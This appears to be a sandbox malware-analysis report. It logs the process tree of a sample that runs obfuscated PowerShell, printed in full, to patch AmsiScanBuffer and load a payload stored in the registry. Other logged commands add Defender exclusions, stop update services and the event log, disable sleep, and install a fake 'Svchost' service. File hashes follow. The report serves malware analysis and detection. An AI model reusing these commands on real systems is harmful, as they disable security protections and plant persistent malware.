+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$IBylRliRXec.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+'i'+'d'+''+'e'+'BySi'+[Char](103)+''+[Char](44)+'Ne'+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+'V'+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$oIAJafQPwE,$dEAcDXHyjqhQfA).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+'d'+'');Write-Output $IBylRliRXec.CreateType();}$JosiLReTzSOjn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'yst'+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+[Char](51)+'2.U'+[Char](110)+''+'s'+'af'+[Char](101)+'Nat'+'i'+''+[Char](118)+'e'+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+'ds');$pwxSziDrvlNWlE=$JosiLReTzSOjn.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+'r'+'oc'+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+','+'S'+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$zGEIrzrbrokpIVatTla=fKyUlaByMOEV @([String])([IntPtr]);$ODuLJKDEktZIJdAYMjoPli=fKyUlaByMOEV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fWggXFqbZmm=$JosiLReTzSOjn.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+'e'+'H'+''+'a'+'nd'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$xQFMriuLVssGyE=$pwxSziDrvlNWlE.Invoke($Null,@([Object]$fWggXFqbZmm,[Object](''+'L'+''+'o'+''+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$fZsQAQyHIafkYkicH=$pwxSziDrvlNWlE.Invoke($Null,@([Object]$fWggXFqbZmm,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+'u'+[Char](97)+'l'+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+'t')));$CUYuyyg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xQFMriuLVssGyE,$zGEIrzrbrokpIVatTla).Invoke(''+[Char](97)+''+'m'+'si'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$pOjLRqPyFRZNJfUbz=$pwxSziDrvlNWlE.Invoke($Null,@([Object]$CUYuyyg,[Object](''+[Char](65)+''+'m'+''+[Char](115)+'iS'+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$mmohmlQVAq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fZsQAQyHIafkYkicH,$ODuLJKDEktZIJdAYMjoPli).Invoke($pOjLRqPyFRZNJfUbz,[uint32]8,4,[ref]$mmohmlQVAq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$pOjLRqPyFRZNJfUbz,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fZsQAQyHIafkYkicH,$ODuLJKDEktZIJdAYMjoPli).Invoke($pOjLRqPyFRZNJfUbz,[uint32]8,0x20,[ref]$mmohmlQVAq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+'ia'+'l'+'e'+'r'+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5048
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:yfweNCuyYkOT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FNFSnzQcUXvjzZ,[Parameter(Position=1)][Type]$hqTVIZyDIV)$wbtKvTGzCCo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+'d'+[Char](117)+'le',$False).DefineType('My'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+''+','+''+'A'+''+[Char](110)+''+'s'+''+'i'+'C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'toC'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$wbtKvTGzCCo.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$FNFSnzQcUXvjzZ).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');$wbtKvTGzCCo.DefineMethod('In'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'','P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+'e'+'w'+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'',$hqTVIZyDIV,$FNFSnzQcUXvjzZ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+'a'+'g'+''+'e'+''+'d'+'');Write-Output $wbtKvTGzCCo.CreateType();}$ANYDRHpFXxhcS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+'r'+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$MaclMUvQnpJMeS=$ANYDRHpFXxhcS.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+[Char](83)+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AnuXldXSEJANsthcVpt=yfweNCuyYkOT @([String])([IntPtr]);$LbmUJvEsXGIfkPqiXWSNXv=yfweNCuyYkOT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hjdpSNdsBiv=$ANYDRHpFXxhcS.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+'el'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$BNReXaINZmLCMH=$MaclMUvQnpJMeS.Invoke($Null,@([Object]$hjdpSNdsBiv,[Object]('L'+[Char](111)+'a'+'d'+''+'L'+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$oRDikqJlYldgVJzEk=$MaclMUvQnpJMeS.Invoke($Null,@([Object]$hjdpSNdsBiv,[Object](''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$cTJqIbS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BNReXaINZmLCMH,$AnuXldXSEJANsthcVpt).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+'l');$TmgzjaoMoLTxaOIKm=$MaclMUvQnpJMeS.Invoke($Null,@([Object]$cTJqIbS,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+'S'+'c'+'a'+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'fe'+[Char](114)+'')));$LxYxODroSi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oRDikqJlYldgVJzEk,$LbmUJvEsXGIfkPqiXWSNXv).Invoke($TmgzjaoMoLTxaOIKm,[uint32]8,4,[ref]$LxYxODroSi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TmgzjaoMoLTxaOIKm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oRDikqJlYldgVJzEk,$LbmUJvEsXGIfkPqiXWSNXv).Invoke($TmgzjaoMoLTxaOIKm,[uint32]8,0x20,[ref]$LxYxODroSi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+'W'+'A'+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:556 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1448
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1524
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3016
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1872
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1972
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1480
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2264
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2460
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2584
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3416
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3424 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:5864
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-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:4368
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3856
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:6048
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4084
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1536
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3636
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:4532
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Svchost"3⤵
- Launches sc.exe
PID:4492
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"3⤵
- Launches sc.exe
PID:5832
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:4428
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Svchost"3⤵
- Launches sc.exe
PID:820 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3588
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3792
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3948
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:4364
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:6072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:5612
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3676
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2912
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:5452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3432
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C:\ProgramData\Svchost.exeC:\ProgramData\Svchost.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4740 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3540 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3756
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:5124
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4480
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:5184
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:896
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:5720
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:5456
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3384 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4952
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1336 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4644
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4980 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2392
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3700
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4168
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:3932
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:388
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3940
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Svchost.exe
- Size 8.3MB
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ma55qb2f.y2o.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
- MD5 aa187cac09f051e24146ad549a0f08a6
- SHA1 2ef7fae3652bb838766627fa6584a6e3b5e74ff3
- SHA512 960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 335da3969376993a8c1642dd5175418491d68238af855a3ac06bfe0129dea2c9
- MD5 1d0ae99c6d20932bbc5fc11a704288b0
- SHA1 57a2c6222e9d6338cfa75175245e0230deab745b
- SHA512 75053ff45646b167cb3e99ced74e6193ff458ced7dc5ae22c39c79805274a64752de7f7089c34f5eb8930b09b7e607e959655b069bde856d7863a97d9cb9a775
- MD5 SHA1 SHA512